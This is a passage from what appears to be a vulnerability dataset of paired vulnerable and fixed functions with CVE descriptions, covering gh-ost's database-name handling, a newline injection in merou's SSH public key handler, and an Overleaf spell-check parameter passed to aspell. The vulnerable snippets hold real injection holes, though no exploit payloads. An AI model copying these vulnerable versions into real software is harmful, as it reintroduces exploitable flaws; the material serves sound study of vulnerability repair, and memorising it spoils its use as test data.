tungsten-replicator where gh-ost is unable to determine the master\")\n\tflag.IntVar(&migrationContext.InspectorConnectionConfig.Key.Port, \"port\", 3306, \"MySQL port (preferably a replica, not the master)\")\n\tflag.Float64Var(&migrationContext.InspectorConnectionConfig.Timeout, \"mysql-timeout\", 0.0, \"Connect, read and write timeout for MySQL\")\n\tflag.StringVar(&migrationContext.CliUser, \"user\", \"\", \"MySQL user\")\n\tflag.StringVar(&migrationContext.CliPassword, \"password\", \"\", \"MySQL password\")\n\tflag.StringVar(&migrationContext.CliMasterUser, \"master-user\", \"\", \"MySQL user on master, if different from that on replica. Requires --assume-master-host\")\n\tflag.StringVar(&migrationContext.CliMasterPassword, \"master-password\", \"\", \"MySQL password on master, if different from that on replica. Requires --assume-master-host\")\n\tflag.StringVar(&migrationContext.ConfigFile, \"conf\", \"\", \"Config file\")\n\taskPass := flag.Bool(\"ask-pass\", false, \"prompt for MySQL password\")\n\n\tflag.BoolVar(&migrationContext.UseTLS, \"ssl\", false, \"Enable SSL encrypted connections to MySQL hosts\")\n\tflag.StringVar(&migrationContext.TLSCACertificate, \"ssl-ca\", \"\", \"CA certificate in PEM format for TLS connections to MySQL hosts. Requires --ssl\")\n\tflag.StringVar(&migrationContext.TLSCertificate, \"ssl-cert\", \"\", \"Certificate in PEM format for TLS connections to MySQL hosts. Requires --ssl\")\n\tflag.StringVar(&migrationContext.TLSKey, \"ssl-key\", \"\", \"Key in PEM format for TLS connections to MySQL hosts. Requires --ssl\")\n\tflag.BoolVar(&migrationContext.TLSAllowInsecure, \"ssl-allow-insecure\", false, \"Skips verification of MySQL hosts' certificate chain and host name. Requires --ssl\")\n\n\tflag.StringVar(&migrationContext.DatabaseName, \"database\", \"\", \"database name (mandatory)\")\n\tflag.StringVar(&migrationContext.OriginalTableName, \"table\", \"\", \"table name (mandatory)\")\n\tflag.StringVar(&migrationContext.AlterStatement, \"alter\", \"\", \"alter statement (mandatory)\")\n\tflag.BoolVar(&migrationContext.CountTableRows, \"exact-rowcount\", false, \"actually count table rows as opposed to estimate them (results in more accurate progress estimation)\")\n\tflag.BoolVar(&migrationContext.ConcurrentCountTableRows, \"concurrent-rowcount\", true, \"(with --exact-rowcount), when true (default): count rows after row-copy begins, concurrently, and adjust row estimate later on; when false: first count rows, then start row copy\")\n\tflag.BoolVar(&migrationContext.AllowedRunningOnMaster, \"allow-on-master\", false, \"allow this migration to run directly on master. Preferably it would run on a replica\")\n\tflag.BoolVar(&migrationContext.AllowedMasterMaster, \"allow-master-master\", false, \"explicitly allow running in a master-master setup\")\n\tflag.BoolVar(&migrationContext.NullableUniqueKeyAllowed, \"allow-nullable-unique-key\", false, \"allow gh-ost to migrate based on a unique key with nullable columns. As long as no NULL values exist, this should be OK. If NULL values exist in chosen key, data may be corrupted. Use at your own risk!\")\n\tflag.BoolVar(&migrationContext.ApproveRenamedColumns, \"approve-renamed-columns\", false, \"in case your `ALTER` statement renames columns, gh-ost will note that and offer its interpretation of the rename. By default gh-ost does not proceed to execute. This flag approves that gh-ost's interpretation is correct\")\n\tflag.BoolVar(&migrationContext.SkipRenamedColumns, \"skip-renamed-columns\", false, \"in case your `ALTER` statement renames columns, gh-ost will note that and offer its interpretation of the rename. By default gh-ost does not proceed to execute. This flag tells gh-ost to skip the renamed columns, i.e. to treat what gh-ost thinks are renamed columns as unrelated columns. NOTE: you may lose column data\")\n\tflag.BoolVar(&migrationContext.IsTungsten, \"tungsten\", false, \"explicitly let gh-ost know that you are running on a tungsten-replication based topology (you are likely to also provide --assume-master-host)\")\n\tflag.BoolVar(&migrationContext.DiscardForeignKeys, \"discard-foreign-keys\", false, \"DANGER! This flag will migrate a table that has foreign keys and will NOT create foreign keys on the ghost table, thus your altered table will have NO foreign keys. This is useful for intentional dropping of foreign keys\")\n\tflag.BoolVar(&migrationContext.SkipForeignKeyChecks, \"skip-foreign-key-checks\", false, \"set to 'true' when you know for certain there are no foreign keys on your table, and wish to skip the time it takes for gh-ost to verify that\")\n\tflag.BoolVar(&migrationContext.SkipStrictMode, \"skip-strict-mode\", false, \"explicitly tell gh-ost binlog applier not to enforce strict sql mode\")\n\tflag.BoolVar(&migrationContext.AliyunRDS, \"aliyun-rds\", false, \"set to 'true' when you execute on Aliyun RDS.\")\n\tflag.BoolVar(&migrationContext.GoogleCloudPlatform, \"gcp\", false, \"set to 'true' when you execute on a 1st generation Google Cloud Platform (GCP).\")\n\tflag.BoolVar(&migrationContext.AzureMySQL, \"azure\", false, \"set to 'true' when you execute on Azure Database on MySQL.\")\n\n\texecuteFlag := flag.Bool(\"execute\", false, \"actually execute the alter & migrate the table. Default is noop: do some tests and exit\")\n\tflag.BoolVar(&migrationContext.TestOnReplica, \"test-on-replica\", false, \"Have the migration run on a replica, not on the master. At the end of migration replication is stopped, and tables are swapped and immediately swap-revert. Replication remains stopped and you can compare the two tables for building trust\")\n\tflag.BoolVar(&migrationContext.TestOnReplicaSkipReplicaStop, \"test-on-replica-skip-replica-stop\", false, \"When --test-on-replica is enabled, do not issue commands stop replication (requires --test-on-replica)\")\n\tflag.BoolVar(&migrationContext.MigrateOnReplica, \"migrate-on-replica\", false, \"Have the migration run on a replica, not on the master. This will do the full migration on the replica including cut-over (as opposed to --test-on-replica)\")\n\n\tflag.BoolVar(&migrationContext.OkToDropTable, \"ok-to-drop-table\", false, \"Shall the tool drop the old table at end of operation. DROPping tables can be a long locking operation, which is why I'm not doing it by default. I'm an online tool, yes?\")\n\tflag.BoolVar(&migrationContext.InitiallyDropOldTable, \"initially-drop-old-table\", false, \"Drop a possibly existing OLD table (remains from a previous run?) before beginning operation. Default is to panic and abort if such table exists\")\n\tflag.BoolVar(&migrationContext.InitiallyDropGhostTable, \"initially-drop-ghost-table\", false, \"Drop a possibly existing Ghost table (remains from a previous run?) before beginning operation. Default is to panic and abort if such table exists\")\n\tflag.BoolVar(&migrationContext.TimestampOldTable, \"timestamp-old-table\", false, \"Use a timestamp in old table name. This makes old table names unique and non conflicting cross migrations\")\n\tcutOver := flag.String(\"cut-over\", \"atomic\", \"choose cut-over type (default|atomic, two-step)\")\n\tflag.BoolVar(&migrationContext.ForceNamedCutOverCommand, \"force-named-cut-over\", false, \"When true, the 'unpostpone|cut-over' interactive command must name the migrated table\")\n\tflag.BoolVar(&migrationContext.ForceNamedPanicCommand, \"force-named-panic\", false, \"When true, the 'panic' interactive command must name the migrated table\")\n\n\tflag.BoolVar(&migrationContext.SwitchToRowBinlogFormat, \"switch-to-rbr\", false, \"let this tool automatically switch binary log format to 'ROW' on the replica, if needed. The format will NOT be switched back. I'm too scared to do that, and wish to protect you if you happen to execute another migration while this one is running\")\n\tflag.BoolVar(&migrationContext.AssumeRBR, \"assume-rbr\", false, \"set to 'true' when you know for certain your server uses 'ROW' binlog_format. gh-ost is unable to tell, event after reading binlog_format, whether the replication process does indeed use 'ROW', and restarts replication to be certain RBR setting is applied. Such operation requires SUPER privileges which you might not have. Setting this flag avoids restarting replication and you can proceed to use gh-ost without SUPER privileges\")\n\tflag.BoolVar(&migrationContext.CutOverExponentialBackoff, \"cut-over-exponential-backoff\", false, \"Wait exponentially longer intervals between failed cut-over attempts. Wait intervals obey a maximum configurable with 'exponential-backoff-max-interval').\")\n\texponentialBackoffMaxInterval := flag.Int64(\"exponential-backoff-max-interval\", 64, \"Maximum number of seconds to wait between attempts when performing various operations with exponential backoff.\")\n\tchunkSize := flag.Int64(\"chunk-size\", 1000, \"amount of rows to handle in each iteration (allowed range: 100-100,000)\")\n\tdmlBatchSize := flag.Int64(\"dml-batch-size\", 10, \"batch size for DML events to apply in a single transaction (range 1-100)\")\n\tdefaultRetries := flag.Int64(\"default-retries\", 60, \"Default number of retries for various operations before panicking\")\n\tcutOverLockTimeoutSeconds := flag.Int64(\"cut-over-lock-timeout-seconds\", 3, \"Max number of seconds to hold locks on tables while attempting to cut-over (retry attempted when lock exceeds timeout)\")\n\tniceRatio := flag.Float64(\"nice-ratio\", 0, \"force being 'nice', imply sleep time per chunk time; range: [0.0..100.0]. Example values: 0 is aggressive. 1: for every 1ms spent copying rows, sleep additional 1ms (effectively doubling runtime); 0.7: for every 10ms spend in a rowcopy chunk, spend 7ms sleeping immediately after\")\n\n\tmaxLagMillis := flag.Int64(\"max-lag-millis\", 1500, \"replication lag at which to throttle operation\")\n\treplicationLagQuery := flag.String(\"replication-lag-query\", \"\", \"Deprecated. gh-ost uses an internal, subsecond resolution query\")\n\tthrottleControlReplicas := flag.String(\"throttle-control-replicas\", \"\", \"List of replicas on which to check for lag; comma delimited. Example: myhost1.com:3306,myhost2.com,myhost3.com:3307\")\n\tthrottleQuery := flag.String(\"throttle-query\", \"\", \"when given, issued (every second) to check if operation should throttle. Expecting to return zero for no-throttle, >0 for throttle. Query is issued on the migrated server. Make sure this query is lightweight\")\n\tthrottleHTTP := flag.String(\"throttle-http\", \"\", \"when given, gh-ost checks given URL via HEAD request; any response code other than 200 (OK) causes throttling; make sure it has low latency response\")\n\tignoreHTTPErrors := flag.Bool(\"ignore-http-errors\", false, \"ignore HTTP connection errors during throttle check\")\n\theartbeatIntervalMillis := flag.Int64(\"heartbeat-interval-millis\", 100, \"how frequently would gh-ost inject a heartbeat value\")\n\tflag.StringVar(&migrationContext.ThrottleFlagFile, \"throttle-flag-file\", \"\", \"operation pauses when this file exists; hint: use a file that is specific to the table being altered\")\n\tflag.StringVar(&migrationContext.ThrottleAdditionalFlagFile, \"throttle-additional-flag-file\", \"/tmp/gh-ost.throttle\", \"operation pauses when this file exists; hint: keep default, use for throttling multiple gh-ost operations\")\n\tflag.StringVar(&migrationContext.PostponeCutOverFlagFile, \"postpone-cut-over-flag-file\", \"\", \"while this file exists, migration will postpone the final stage of swapping tables, and will keep on syncing the ghost table. Cut-over/swapping would be ready to perform the moment the file is deleted.\")\n\tflag.StringVar(&migrationContext.PanicFlagFile, \"panic-flag-file\", \"\", \"when this file is created, gh-ost will immediately terminate, without cleanup\")\n\n\tflag.BoolVar(&migrationContext.DropServeSocket, \"initially-drop-socket-file\", false, \"Should gh-ost forcibly delete an existing socket file. Be careful: this might drop the socket file of a running migration!\")\n\tflag.StringVar(&migrationContext.ServeSocketFile, \"serve-socket-file\", \"\", \"Unix socket file to serve on. Default: auto-determined and advertised upon startup\")\n\tflag.Int64Var(&migrationContext.ServeTCPPort, \"serve-tcp-port\", 0, \"TCP port to serve on. Default: disabled\")\n\n\tflag.StringVar(&migrationContext.HooksPath, \"hooks-path\", \"\", \"directory where hook files are found (default: empty, ie. hooks disabled). Hook files found on this path, and conforming to hook naming conventions will be executed\")\n\tflag.StringVar(&migrationContext.HooksHintMessage, \"hooks-hint\", \"\", \"arbitrary message to be injected to hooks via GH_OST_HOOKS_HINT, for your convenience\")\n\tflag.StringVar(&migrationContext.HooksHintOwner, \"hooks-hint-owner\", \"\", \"arbitrary name of owner to be injected to hooks via GH_OST_HOOKS_HINT_OWNER, for your convenience\")\n\tflag.StringVar(&migrationContext.HooksHintToken, \"hooks-hint-token\", \"\", \"arbitrary token to be injected to hooks via GH_OST_HOOKS_HINT_TOKEN, for your convenience\")\n\n\tflag.UintVar(&migrationContext.ReplicaServerId, \"replica-server-id\", 99999, \"server id used by gh-ost process. Default: 99999\")\n\n\tmaxLoad := flag.String(\"max-load\", \"\", \"Comma delimited status-name=threshold. e.g: 'Threads_running=100,Threads_connected=500'. When status exceeds threshold, app throttles writes\")\n\tcriticalLoad := flag.String(\"critical-load\", \"\", \"Comma delimited status-name=threshold, same format as --max-load. When status exceeds threshold, app panics and quits\")\n\tflag.Int64Var(&migrationContext.CriticalLoadIntervalMilliseconds, \"critical-load-interval-millis\", 0, \"When 0, migration immediately bails out upon meeting critical-load. When non-zero, a second check is done after given interval, and migration only bails out if 2nd check still meets critical load\")\n\tflag.Int64Var(&migrationContext.CriticalLoadHibernateSeconds, \"critical-load-hibernate-seconds\", 0, \"When non-zero, critical-load does not panic and bail out; instead, gh-ost goes into hibernation for the specified duration. It will not read/write anything from/to any server\")\n\tquiet := flag.Bool(\"quiet\", false, \"quiet\")\n\tverbose := flag.Bool(\"verbose\", false, \"verbose\")\n\tdebug := flag.Bool(\"debug\", false, \"debug mode (very verbose)\")\n\tstack := flag.Bool(\"stack\", false, \"add stack trace upon error\")\n\thelp := flag.Bool(\"help\", false, \"Display usage\")\n\tversion := flag.Bool(\"version\", false, \"Print version & exit\")\n\tcheckFlag := flag.Bool(\"check-flag\", false, \"Check if another flag exists/supported. This allows for cross-version scripting. Exits with 0 when all additional provided flags exist, nonzero otherwise. You must provide (dummy) values for flags that require a value. Example: gh-ost --check-flag --cut-over-lock-timeout-seconds --nice-ratio 0\")\n\tflag.StringVar(&migrationContext.ForceTmpTableName, \"force-table-names\", \"\", \"table name prefix to be used on the temporary tables\")\n\tflag.CommandLine.SetOutput(os.Stdout)\n\n\tflag.Parse()\n\n\tif *checkFlag {\n\t\treturn\n\t}\n\tif *help {\n\t\tfmt.Fprintf(os.Stdout, \"Usage of gh-ost:\\n\")\n\t\tflag.PrintDefaults()\n\t\treturn\n\t}\n\tif *version {\n\t\tappVersion := AppVersion\n\t\tif appVersion == \"\" {\n\t\t\tappVersion = \"unversioned\"\n\t\t}\n\t\tfmt.Println(appVersion)\n\t\treturn\n\t}\n\n\tmigrationContext.Log.SetLevel(log.ERROR)\n\tif *verbose {\n\t\tmigrationContext.Log.SetLevel(log.INFO)\n\t}\n\tif *debug {\n\t\tmigrationContext.Log.SetLevel(log.DEBUG)\n\t}\n\tif *stack {\n\t\tmigrationContext.Log.SetPrintStackTrace(*stack)\n\t}\n\tif *quiet {\n\t\t// Override!!\n\t\tmigrationContext.Log.SetLevel(log.ERROR)\n\t}\n\n\tif migrationContext.AlterStatement == \"\" {\n\t\tlog.Fatalf(\"--alter must be provided and statement must not be empty\")\n\t}\n\tparser := sql.NewParserFromAlterStatement(migrationContext.AlterStatement)\n\tmigrationContext.AlterStatementOptions = parser.GetAlterStatementOptions()\n\n\tif migrationContext.DatabaseName == \"\" {\n\t\tif parser.HasExplicitSchema() {\n\t\t\tmigrationContext.DatabaseName = parser.GetExplicitSchema()\n\t\t} else {\n\t\t\tlog.Fatalf(\"--database must be provided and database name must not be empty, or --alter must specify database name\")\n\t\t}\n\t}\n\n\tif err := flag.Set(\"database\", url.QueryEscape(migrationContext.DatabaseName)); err != nil {\n\t\tmigrationContext.Log.Fatale(err)\n\t}\n\n\tif migrationContext.OriginalTableName == \"\" {\n\t\tif parser.HasExplicitTable() {\n\t\t\tmigrationContext.OriginalTableName = parser.GetExplicitTable()\n\t\t} else {\n\t\t\tlog.Fatalf(\"--table must be provided and table name must not be empty, or --alter must specify table name\")\n\t\t}\n\t}\n\tmigrationContext.Noop = !(*executeFlag)\n\tif migrationContext.AllowedRunningOnMaster && migrationContext.TestOnReplica {\n\t\tmigrationContext.Log.Fatalf(\"--allow-on-master and --test-on-replica are mutually exclusive\")\n\t}\n\tif migrationContext.AllowedRunningOnMaster && migrationContext.MigrateOnReplica {\n\t\tmigrationContext.Log.Fatalf(\"--allow-on-master and --migrate-on-replica are mutually exclusive\")\n\t}\n\tif migrationContext.MigrateOnReplica && migrationContext.TestOnReplica {\n\t\tmigrationContext.Log.Fatalf(\"--migrate-on-replica and --test-on-replica are mutually exclusive\")\n\t}\n\tif migrationContext.SwitchToRowBinlogFormat && migrationContext.AssumeRBR {\n\t\tmigrationContext.Log.Fatalf(\"--switch-to-rbr and --assume-rbr are mutually exclusive\")\n\t}\n\tif migrationContext.TestOnReplicaSkipReplicaStop {\n\t\tif !migrationContext.TestOnReplica {\n\t\t\tmigrationContext.Log.Fatalf(\"--test-on-replica-skip-replica-stop requires --test-on-replica to be enabled\")\n\t\t}\n\t\tmigrationContext.Log.Warning(\"--test-on-replica-skip-replica-stop enabled. We will not stop replication before cut-over. Ensure you have a plugin that does this.\")\n\t}\n\tif migrationContext.CliMasterUser != \"\" && migrationContext.AssumeMasterHostname == \"\" {\n\t\tmigrationContext.Log.Fatalf(\"--master-user requires --assume-master-host\")\n\t}\n\tif migrationContext.CliMasterPassword != \"\" && migrationContext.AssumeMasterHostname == \"\" {\n\t\tmigrationContext.Log.Fatalf(\"--master-password requires --assume-master-host\")\n\t}\n\tif migrationContext.TLSCACertificate != \"\" && !migrationContext.UseTLS {\n\t\tmigrationContext.Log.Fatalf(\"--ssl-ca requires --ssl\")\n\t}\n\tif migrationContext.TLSCertificate != \"\" && !migrationContext.UseTLS {\n\t\tmigrationContext.Log.Fatalf(\"--ssl-cert requires --ssl\")\n\t}\n\tif migrationContext.TLSKey != \"\" && !migrationContext.UseTLS {\n\t\tmigrationContext.Log.Fatalf(\"--ssl-key requires --ssl\")\n\t}\n\tif migrationContext.TLSAllowInsecure && !migrationContext.UseTLS {\n\t\tmigrationContext.Log.Fatalf(\"--ssl-allow-insecure requires --ssl\")\n\t}\n\tif *replicationLagQuery != \"\" {\n\t\tmigrationContext.Log.Warningf(\"--replication-lag-query is deprecated\")\n\t}\n\n\tswitch *cutOver {\n\tcase \"atomic\", \"default\", \"\":\n\t\tmigrationContext.CutOverType = base.CutOverAtomic\n\tcase \"two-step\":\n\t\tmigrationContext.CutOverType = base.CutOverTwoStep\n\tdefault:\n\t\tmigrationContext.Log.Fatalf(\"Unknown cut-over: %s\", *cutOver)\n\t}\n\tif err := migrationContext.ReadConfigFile(); err != nil {\n\t\tmigrationContext.Log.Fatale(err)\n\t}\n\tif err := migrationContext.ReadThrottleControlReplicaKeys(*throttleControlReplicas); err != nil {\n\t\tmigrationContext.Log.Fatale(err)\n\t}\n\tif err := migrationContext.ReadMaxLoad(*maxLoad); err != nil {\n\t\tmigrationContext.Log.Fatale(err)\n\t}\n\tif err := migrationContext.ReadCriticalLoad(*criticalLoad); err != nil {\n\t\tmigrationContext.Log.Fatale(err)\n\t}\n\tif migrationContext.ServeSocketFile == \"\" {\n\t\tmigrationContext.ServeSocketFile = fmt.Sprintf(\"/tmp/gh-ost.%s.%s.sock\", migrationContext.DatabaseName, migrationContext.OriginalTableName)\n\t}\n\tif *askPass {\n\t\tfmt.Println(\"Password:\")\n\t\tbytePassword, err := terminal.ReadPassword(int(syscall.Stdin))\n\t\tif err != nil {\n\t\t\tmigrationContext.Log.Fatale(err)\n\t\t}\n\t\tmigrationContext.CliPassword = string(bytePassword)\n\t}\n\tmigrationContext.SetHeartbeatIntervalMilliseconds(*heartbeatIntervalMillis)\n\tmigrationContext.SetNiceRatio(*niceRatio)\n\tmigrationContext.SetChunkSize(*chunkSize)\n\tmigrationContext.SetDMLBatchSize(*dmlBatchSize)\n\tmigrationContext.SetMaxLagMillisecondsThrottleThreshold(*maxLagMillis)\n\tmigrationContext.SetThrottleQuery(*throttleQuery)\n\tmigrationContext.SetThrottleHTTP(*throttleHTTP)\n\tmigrationContext.SetIgnoreHTTPErrors(*ignoreHTTPErrors)\n\tmigrationContext.SetDefaultNumRetries(*defaultRetries)\n\tmigrationContext.ApplyCredentials()\n\tif err := migrationContext.SetupTLS(); err != nil {\n\t\tmigrationContext.Log.Fatale(err)\n\t}\n\tif err := migrationContext.SetCutOverLockTimeoutSeconds(*cutOverLockTimeoutSeconds); err != nil {\n\t\tmigrationContext.Log.Errore(err)\n\t}\n\tif err := migrationContext.SetExponentialBackoffMaxInterval(*exponentialBackoffMaxInterval); err != nil {\n\t\tmigrationContext.Log.Errore(err)\n\t}\n\n\tlog.Infof(\"starting gh-ost %+v\", AppVersion)\n\tacceptSignals(migrationContext)\n\n\tmigrator := logic.NewMigrator(migrationContext)\n\terr := migrator.Migrate()\n\tif err != nil {\n\t\tmigrator.ExecOnFailureHook()\n\t\tmigrationContext.Log.Fatale(err)\n\t}\n\tfmt.Fprintf(os.Stdout, \"# Done\\n\")\n}"}], "vul_patch": "--- a/go/cmd/gh-ost/main.go\n+++ b/go/cmd/gh-ost/main.go\n@@ -142,6 +142,11 @@\n \t\t\tlog.Fatalf(\"--database must be provided and database name must not be empty, or --alter must specify database name\")\n \t\t}\n \t}\n+\n+\tif err := flag.Set(\"database\", url.QueryEscape(migrationContext.DatabaseName)); err != nil {\n+\t\tmigrationContext.Log.Fatale(err)\n+\t}\n+\n \tif migrationContext.OriginalTableName == \"\" {\n \t\tif parser.HasExplicitTable() {\n \t\t\tmigrationContext.OriginalTableName = parser.GetExplicitTable()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-4768", "cve_description": "A vulnerability was found in Dropbox merou. It has been classified as critical. Affected is the function add_public_key of the file grouper/public_key.py of the component SSH Public Key Handler. The manipulation of the argument public_key_str leads to injection. It is possible to launch the attack remotely. The name of the patch is d93087973afa26bc0a2d0a5eb5c0fde748bdd107. It is recommended to apply a patch to fix this issue. VDB-216906 is the identifier assigned to this vulnerability.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/dropbox/merou", "patch_url": ["https://github.com/dropbox/merou/commit/d93087973afa26bc0a2d0a5eb5c0fde748bdd107"], "programing_language": "Python", "vul_func": [{"id": "vul_py_156_1", "commit": "30755ea", "file_path": "grouper/public_key.py", "start_line": 52, "end_line": 99, "snippet": "def add_public_key(session, user, public_key_str):\n    \"\"\"Add a public key for a particular user.\n\n    Args:\n        session: db session\n        user: User model of user in question\n        public_key_str: public key to add\n\n    Throws:\n        DuplicateKey if key is already in use\n        PublicKeyParseError if key can't be parsed\n        BadPublicKey if a plugin rejects the key\n\n    Returns:\n        PublicKey model object representing the key\n    \"\"\"\n    pubkey = sshpubkeys.SSHKey(public_key_str, strict=True)\n\n    try:\n        pubkey.parse()\n    except sshpubkeys.InvalidKeyException as e:\n        raise PublicKeyParseError(str(e))\n\n    try:\n        get_plugin_proxy().will_add_public_key(pubkey)\n    except PluginRejectedPublicKey as e:\n        raise BadPublicKey(str(e))\n\n    db_pubkey = PublicKey(\n        user=user,\n        public_key=pubkey.keydata.strip(),\n        fingerprint=pubkey.hash_md5().replace(\"MD5:\", \"\"),\n        fingerprint_sha256=pubkey.hash_sha256().replace(\"SHA256:\", \"\"),\n        key_size=pubkey.bits,\n        key_type=pubkey.key_type,\n        comment=pubkey.comment,\n    )\n\n    try:\n        db_pubkey.add(session)\n        Counter.incr(session, \"updates\")\n    except IntegrityError:\n        session.rollback()\n        raise DuplicateKey()\n\n    session.commit()\n\n    return db_pubkey"}], "fix_func": [{"id": "fix_py_156_1", "commit": "d930879", "file_path": "grouper/public_key.py", "start_line": 52, "end_line": 106, "snippet": "def add_public_key(session, user, public_key_str):\n    \"\"\"Add a public key for a particular user.\n\n    Args:\n        session: db session\n        user: User model of user in question\n        public_key_str: public key to add\n\n    Throws:\n        DuplicateKey if key is already in use\n        PublicKeyParseError if key can't be parsed\n        BadPublicKey if a plugin rejects the key\n\n    Returns:\n        PublicKey model object representing the key\n    \"\"\"\n    pubkey = sshpubkeys.SSHKey(public_key_str, strict=True)\n\n    try:\n        pubkey.parse()\n    except sshpubkeys.InvalidKeyException as e:\n        raise PublicKeyParseError(str(e))\n\n    # Allowing newlines can lead to injection attacks depending on how the key is\n    # consumed, such as if it's dumped in an authorized_keys file with a `command`\n    # restriction.\n    # Note parsing the key is insufficient to block this.\n    if \"\\r\" in public_key_str or \"\\n\" in public_key_str:\n        raise PublicKeyParseError(\"Public key cannot have newlines\")\n\n    try:\n        get_plugin_proxy().will_add_public_key(pubkey)\n    except PluginRejectedPublicKey as e:\n        raise BadPublicKey(str(e))\n\n    db_pubkey = PublicKey(\n        user=user,\n        public_key=pubkey.keydata.strip(),\n        fingerprint=pubkey.hash_md5().replace(\"MD5:\", \"\"),\n        fingerprint_sha256=pubkey.hash_sha256().replace(\"SHA256:\", \"\"),\n        key_size=pubkey.bits,\n        key_type=pubkey.key_type,\n        comment=pubkey.comment,\n    )\n\n    try:\n        db_pubkey.add(session)\n        Counter.incr(session, \"updates\")\n    except IntegrityError:\n        session.rollback()\n        raise DuplicateKey()\n\n    session.commit()\n\n    return db_pubkey"}], "vul_patch": "--- a/grouper/public_key.py\n+++ b/grouper/public_key.py\n@@ -20,6 +20,13 @@\n         pubkey.parse()\n     except sshpubkeys.InvalidKeyException as e:\n         raise PublicKeyParseError(str(e))\n+\n+    # Allowing newlines can lead to injection attacks depending on how the key is\n+    # consumed, such as if it's dumped in an authorized_keys file with a `command`\n+    # restriction.\n+    # Note parsing the key is insufficient to block this.\n+    if \"\\r\" in public_key_str or \"\\n\" in public_key_str:\n+        raise PublicKeyParseError(\"Public key cannot have newlines\")\n \n     try:\n         get_plugin_proxy().will_add_public_key(pubkey)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-45312", "cve_description": "Overleaf is a web-based collaborative LaTeX editor. Overleaf Community Edition and Server Pro prior to version 5.0.7 (or 4.2.7 for the 4.x series) contain a vulnerability that allows an arbitrary language parameter in client spelling requests to be passed to the `aspell` executable running on the server.  This causes `aspell` to attempt to load  a dictionary file with an arbitrary filename. File access is limited to the scope of the overleaf server. The problem is patched in versions 5.0.7 and 4.2.7.  Previous versions can be upgraded using the Overleaf toolkit `bin/upgrade` command. Users unable to upgrade may block POST requests to `/spelling/check` via a Web Application Firewall will prevent access to the vulnerable spell check feature.  However, upgrading is advised.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/overleaf/overleaf", "patch_url": ["https://github.com/overleaf/overleaf/commit/b5e5d39c3ad4e7763d42b837738955f8ded4dcd3"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_138_1", "commit": "2dae278", "file_path": "services/web/app/src/Features/Spelling/SpellingController.js", "start_line": 31, "end_line": 62, "snippet": "  proxyRequestToSpellingApi(req, res) {\n    const { language } = req.body\n\n    let url = req.url.slice('/spelling'.length)\n\n    if (url === '/check') {\n      if (!language) {\n        logger.error(\n          {},\n          '\"language\" field should be included for spell checking'\n        )\n        return res.status(422).json({ misspellings: [] })\n      }\n\n      if (!languageCodeIsSupported(language)) {\n        // this log statement can be changed to 'error' once projects with\n        // unsupported languages are removed from the DB\n        logger.debug({ language }, 'language not supported')\n        return res.status(422).json({ misspellings: [] })\n      }\n    }\n\n    const userId = SessionManager.getLoggedInUserId(req.session)\n    url = `/user/${userId}${url}`\n    req.headers.Host = Settings.apis.spelling.host\n    return request({\n      url: Settings.apis.spelling.url + url,\n      method: req.method,\n      headers: req.headers,\n      json: req.body,\n      timeout: TEN_SECONDS,\n    })"}, {"id": "vul_js_138_2", "commit": "2dae278", "file_path": "services/web/app/src/router.js", "start_line": 1083, "end_line": 1087, "snippet": "  webRouter.post(\n    '/spelling/check',\n    AuthenticationController.requireLogin(),\n    SpellingController.proxyRequestToSpellingApi\n  )"}], "fix_func": [{"id": "fix_js_138_1", "commit": "b5e5d39", "file_path": "services/web/app/src/Features/Spelling/SpellingController.js", "start_line": 31, "end_line": 55, "snippet": "  proxyCheckRequestToSpellingApi(req, res) {\n    const { language } = req.body\n\n    if (!language) {\n      logger.error({}, '\"language\" field should be included for spell checking')\n      return res.status(422).json({ misspellings: [] })\n    }\n\n    if (!languageCodeIsSupported(language)) {\n      // this log statement can be changed to 'error' once projects with\n      // unsupported languages are removed from the DB\n      logger.debug({ language }, 'language not supported')\n      return res.status(422).json({ misspellings: [] })\n    }\n\n    const userId = SessionManager.getLoggedInUserId(req.session)\n    const url = `${Settings.apis.spelling.url}/user/${userId}/check`\n    req.headers.Host = Settings.apis.spelling.host\n    return request({\n      url,\n      method: 'POST',\n      headers: req.headers,\n      json: req.body,\n      timeout: TEN_SECONDS,\n    })"}, {"id": "fix_js_138_2", "commit": "b5e5d39", "file_path": "services/web/app/src/router.js", "start_line": 1083, "end_line": 1087, "snippet": "  webRouter.post(\n    '/spelling/check',\n    AuthenticationController.requireLogin(),\n    SpellingController.proxyCheckRequestToSpellingApi\n  )"}], "vul_patch": "--- a/services/web/app/src/Features/Spelling/SpellingController.js\n+++ b/services/web/app/src/Features/Spelling/SpellingController.js\n@@ -1,31 +1,24 @@\n-  proxyRequestToSpellingApi(req, res) {\n+  proxyCheckRequestToSpellingApi(req, res) {\n     const { language } = req.body\n \n-    let url = req.url.slice('/spelling'.length)\n+    if (!language) {\n+      logger.error({}, '\"language\" field should be included for spell checking')\n+      return res.status(422).json({ misspellings: [] })\n+    }\n \n-    if (url === '/check') {\n-      if (!language) {\n-        logger.error(\n-          {},\n-          '\"language\" field should be included for spell checking'\n-        )\n-        return res.status(422).json({ misspellings: [] })\n-      }\n-\n-      if (!languageCodeIsSupported(language)) {\n-        // this log statement can be changed to 'error' once projects with\n-        // unsupported languages are removed from the DB\n-        logger.debug({ language }, 'language not supported')\n-        return res.status(422).json({ misspellings: [] })\n-      }\n+    if (!languageCodeIsSupported(language)) {\n+      // this log statement can be changed to 'error' once projects with\n+      // unsupported languages are removed from the DB\n+      logger.debug({ language }, 'language not supported')\n+      return res.status(422).json({ misspellings: [] })\n     }\n \n     const userId = SessionManager.getLoggedInUserId(req.session)\n-    url = `/user/${userId}${url}`\n+    const url = `${Settings.apis.spelling.url}/user/${userId}/check`\n     req.headers.Host = Settings.apis.spelling.host\n     return request({\n-      url: Settings.apis.spelling.url + url,\n-      method: req.method,\n+      url,\n+      method: 'POST',\n       headers: req.headers,\n       json: req.body,\n       timeout: TEN_SECONDS,\n\n--- 